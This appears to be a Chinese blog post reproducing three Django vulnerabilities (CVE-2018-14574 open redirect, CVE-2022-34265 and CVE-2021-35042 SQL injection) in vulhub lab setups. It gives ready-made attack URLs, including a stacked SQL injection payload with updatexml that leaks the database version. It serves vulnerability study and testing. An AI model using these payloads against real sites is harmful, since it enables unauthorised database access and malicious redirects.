Django < 2.0.8 任意URL跳轉(zhuǎn)漏洞(CVE-2018-14574)
漏洞詳情:
Django默認(rèn)配置下,如果匹配上的URL路由中最后一位是/,而用戶訪問的時候沒加/,Django默認(rèn)會跳轉(zhuǎn)到帶/的請求中。(由配置項(xiàng)中的django.middleware.common.CommonMiddleware、APPEND_SLASH來決定)。
在path開頭為//example.com的情況下,Django沒做處理,導(dǎo)致瀏覽器認(rèn)為目的地址是絕對路徑,最終造成任意URL跳轉(zhuǎn)漏洞。
該漏洞利用條件是目標(biāo)URLCONF中存在能匹配上//example.com的規(guī)則。
復(fù)現(xiàn):
訪問http://your-ip:8000//www.example.com,即可返回是301跳轉(zhuǎn)到//www.example.com/:
Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)
漏洞詳情:
Django在2022年7月4日發(fā)布了安全更新,修復(fù)了在數(shù)據(jù)庫函數(shù)Trunc()和Extract()中存在的SQL注入漏洞。
復(fù)現(xiàn):
環(huán)境啟動后,你可以在http://your-ip:8000看到一個頁面。這個頁面使用了Trunc函數(shù)來聚合頁面點(diǎn)擊數(shù)量,比如使用http://your-ip:8000/?date=minute即可看到按照分鐘聚合的點(diǎn)擊量:
修改date參數(shù)即可復(fù)現(xiàn)SQL注入漏洞:
http://your-ip:8000/?date=xxxx'xxxx
Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
漏洞詳情:
Django在2021年7月1日發(fā)布了一個安全更新,修復(fù)了在QuerySet底下的order_by函數(shù)中存在的SQL注入漏洞
參考鏈接:
https://www.djangoproject.com/weblog/2021/jul/01/security-releases/
復(fù)現(xiàn):
環(huán)境啟動后,訪問http://your-ip:8000即可看到Django默認(rèn)首頁。
訪問頁面http://your-ip:8000/vuln/,在GET參數(shù)中構(gòu)造order=-id,會得到根據(jù)id降序排列的結(jié)果:
http://your-ip:8000/vuln/?order=-id
再構(gòu)造GET參數(shù)order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collection是vuln應(yīng)用下的模型Collection
http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
成功注入SQL語句,利用堆疊注入獲得信息:文章來源:http://www.zghlxwxcb.cn/news/detail-726729.html
結(jié)束:
文章來源地址http://www.zghlxwxcb.cn/news/detail-726729.html
到了這里,關(guān)于Django系列所有漏洞復(fù)現(xiàn)vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!